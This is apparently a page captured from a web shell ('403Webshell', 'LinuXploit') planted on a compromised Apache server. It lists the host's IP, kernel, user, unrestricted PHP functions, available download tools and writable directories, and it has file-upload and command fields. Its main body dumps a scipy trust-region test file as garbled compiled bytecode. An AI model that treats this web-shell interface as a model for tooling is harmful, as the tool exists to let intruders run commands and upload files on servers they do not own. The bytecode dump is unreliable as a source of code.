403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/scipy/optimize/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/scipy/optimize/tests/__pycache__/test_trustregion.cpython-311.pyc
�

d�c]��~�dZddlZddlZddlmZmZmZddlm	Z	m
Z
mZmZm
Z
Gd�d��ZGd�d��ZdS)	zt
Unit tests for trust-region optimization routines.

To run it in its simplest form::
  nosetests test_optimize.py

�N)�assert_�assert_equal�assert_allclose)�minimize�rosen�	rosen_der�
rosen_hess�rosen_hess_prodc��eZdZdZd�Zd�ZdS)�Accumulatorz This is for testing callbacks.c�"�d|_d|_dS)Nr)�count�accum��selfs �G/usr/lib/python3/dist-packages/scipy/optimize/tests/test_trustregion.py�__init__zAccumulator.__init__s����
���
�
�
�c��|xjdz
c_|j�tj|��|_dS|xj|z
c_dS)N�)rr�np�array)r�xs  r�__call__zAccumulator.__call__s?���
�
�a��
�
��:����!���D�J�J�J��J�J�!�O�J�J�J�JrN)�__name__�
__module__�__qualname__�__doc__rr�rrrrs8������)�)��������rrc�D�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
S)�TestTrustRegionSolversc�<�ddg|_ddg|_ddg|_dS)Ng�?g@g333333�)�x_opt�
easy_guess�
hard_guessrs r�setup_methodz#TestTrustRegionSolvers.setup_methods'���3�Z��
���*�����+����rc
��|j}tt|ttddddi���}t||dd��t|d|dd	��t|d|j��dS)
N�:�0�yE>�dogleg�
return_allT��jac�hess�tol�method�options�allvecsrr���)r%rrrr	rr#�r�x0�rs   r�test_dogleg_accuracyz+TestTrustRegionSolvers.test_dogleg_accuracy$s���
�_���U�B�I�J�D�$�|�T�.B�
E�
E�
E����A�i�L��O�,�,�,���#���)��R� 0�1�1�1���#���
�+�+�+�+�+rc��t��}d}tt|jtt
|dd|d����}t
|j|��t
t|d��|dz��t|d|dd	��tt|ddd���|j��dS)
N�r)T)r*�maxiter)r,r-�callbackr/r0r1rrr2)rrrr%rr	rr�lenr�sumr)r�accumulatorr9r5s    r�test_dogleg_callbackz+TestTrustRegionSolvers.test_dogleg_callback-s���!�m�m�����U�D�O���)�(�,0�W�E�E�
H�
H�
H��	�[�&��0�0�0��S��9��&�&���	�2�2�2���#���)��R� 0�1�1�1���A�i�L����,�-�-�{�/@�A�A�A�A�Arc���tjtd���5tt|jttdddd����ddd��dS#1swxYwYdS)NzMaximum number of iterations)�matchr)Tr)�dispr9)r,r-r/r0)�pytest�warns�RuntimeWarningrrr%rr	rs r�test_dogleg_user_warningz/TestTrustRegionSolvers.test_dogleg_user_warning9s���
�\�.� ?�A�A�A�	=�	=��U�D�O��$�X�&*�q�9�9�
=�
=�
=�
=�	=�	=�	=�	=�	=�	=�	=�	=�	=�	=�	=�	=����	=�	=�	=�	=�	=�	=s�-A�A�Ac���t}t}t}|j|jfD�];}t||||ddddi���}t||||ddddi���}t||||ddddi���}t||||ddddi���}t||||dd	ddi���}	t
|j|d
��t
|j|d
��t
|j|d
��t
|j|d
��t
|j|	d
��tt|d��t|d��k����=dS)Nr(r)r*Tr+�	trust-ncg�trust-krylovz	newton-cg�trust-exactrr1)
rrr	r$r%rrr#rr;)
r�f�g�hr4�r_dogleg�r_trust_ncg�r_trust_krylov�r_ncg�r_iteratives
          r�test_solver_concordancez.TestTrustRegionSolvers.test_solver_concordance@s���

�������?�D�O�4�	F�	F�B���2�1�1�$�'/�,��9M�O�O�O�H�"�1�b�a�a�T�*5�,8�$�+?�A�A�A�K�&�a�����*8�,8�$�+?�A�A�A�N��Q����t�$/�,��9M�O�O�O�E�"�1�b�a�a�T�*7�,8�$�+?�A�A�A�K�
�D�J���
�6�6�6��D�J��C�(8�9�9�9��D�J��s�(;�<�<�<��D�J��c�
�3�3�3��D�J��C�(8�9�9�9��C���+�,�,�s�5��3C�/D�/D�D�E�E�E�E�'	F�	Frc	��|j|j|jfD]A}tt|t
tdd���}t|j|d���BdS)Nr(rG)r,�hesspr.r/r)r$r%r#rrrr
rr3s   r�test_trust_ncg_hesspz+TestTrustRegionSolvers.test_trust_ncg_hessp]sb���?�D�O�T�Z�@�	0�	0�B����	��!�+�7�7�7�A��D�J��#��/�/�/�/�	0�	0rc��tt|jttdd���}t|j|d��dS)Nr(rG�r4r,r-r.r/r�rrr#rr	r�rr5s  r�test_trust_ncg_start_in_optimumz6TestTrustRegionSolvers.test_trust_ncg_start_in_optimumcsA���U�t�z�y�z��k�
3�
3�
3����
�A�c�F�+�+�+�+�+rc��tt|jttdd���}t|j|d��dS)Nr(rHrWrrXrYs  r�"test_trust_krylov_start_in_optimumz9TestTrustRegionSolvers.test_trust_krylov_start_in_optimumhsA���U�t�z�y�z��n�
6�
6�
6����
�A�c�F�+�+�+�+�+rc��tt|jttdd���}t|j|d��dS)Nr(rIrWrrXrYs  r�!test_trust_exact_start_in_optimumz8TestTrustRegionSolvers.test_trust_exact_start_in_optimummsA���U�t�z�y�z��m�
5�
5�
5����
�A�c�F�+�+�+�+�+rN)rrrr&r6r>rErRrUrZr\r^rrrr!r!s�������&�&�&�
,�,�,�
B�
B�
B�=�=�=�F�F�F�:0�0�0�,�,�,�
,�,�,�
,�,�,�,�,rr!)rrB�numpyr�
numpy.testingrrr�scipy.optimizerrrr	r
rr!rrr�<module>rbs������
�
�
�����@�@�@�@�@�@�@�@�@�@�-�-�-�-�-�-�-�-�-�-�-�-�-�-���������S,�S,�S,�S,�S,�S,�S,�S,�S,�S,r

Youez - 2016 - github.com/yon3zu
LinuXploit